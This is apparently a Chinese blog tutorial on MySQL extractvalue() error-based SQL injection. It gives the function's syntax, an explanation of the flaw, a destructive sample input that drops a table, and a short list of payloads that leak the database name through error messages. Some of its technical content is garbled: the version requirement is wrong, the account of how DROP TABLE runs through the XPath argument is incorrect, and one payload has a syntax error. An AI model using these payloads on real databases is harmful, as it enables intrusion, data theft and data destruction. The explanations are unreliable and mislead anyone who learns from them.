目录
extractvalue()报错注入
一、语法介绍:
二、报错原因
网络安全小圈子
(***注:注意看版本要求)
extractvalue()报错注入
一、语法介绍:
版本:
MySQL<5.0.x
语法:
EXTRACTVALUE(xml_expression, xpath_expression)
xml_expression是一个XML类型的字段或表达式,xpath_expression是一个XPath表达式,用于指定要提取的节点。
原理:
- 首先,函数会对xml_expression进行解析,将其转换为一个XML文档对象。
- 然后,函数使用xpath_expression指定的路径来定位要提取的节点。
- 最后,函数返回找到的节点的值
使用:
假设一个XML类型的字段xml_data,如下
<book>
<title>Harry Potter</title>
<author>J.K. Rowling</author>
<year>2001</year>
</book>
可以使用extractvalue()函数来提取其中的节点值,如下
SELECT EXTRACTVALUE(xml_data, '/book/title') AS title,
EXTRACTVALUE(xml_data, '/book/author') AS author,
EXTRACTVALUE(xml_data, '/book/year') AS yearFROM books;
上述SQL语句将从xml_data字段中提取出"title"、"author"和"year"节点的值,然后将其作为结果集返回
二、报错原因
产生原因:
在extractvalue()函数中,如果xpath_expression参数可以由用户输入控制,攻击者可以构造恶意的XPath表达式,从而执行注入攻击。例如,攻击者可以构造一个恶意的输入,使得xpath_expression参数成为一个恶意的SQL语句。
示例:
SELECT * FROM books WHERE title = EXTRACTVALUE(xml_data, '/book/title')
如果xpath_expression参数可以由用户输入控制,攻击者可以构造一个恶意的输入,例如:
'; DROP TABLE books; --
这样,最终构造出的XPath表达式为:
/book/title'; DROP TABLE books; --
当该恶意输入被传递给extractvalue()函数时,它会将恶意的XPath表达式作为参数执行。由于XPath表达式中包含了一个SQL注释符(--),后续的SQL语句将被忽略,从而导致DROP TABLE books语句被执行,删除了books表。
payload:
and (extractvalue(1,concat('~'(select database()))));
and (extractvalue('anything',concat('/',(select database()))));
and (extractvalue('anything',concat('~',substring((select database()),1,5))));
and extractvalue(1,concat(0x7e,(select database()),0x7e))#
网络安全小圈子
README.md · 书半生/网络安全知识体系-实战中心 - 码云 - 开源中国 (gitee.com)https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md
GitHub - BLACKxZONE/Treasure_knowledgehttps://github.com/BLACKxZONE/Treasure_knowledge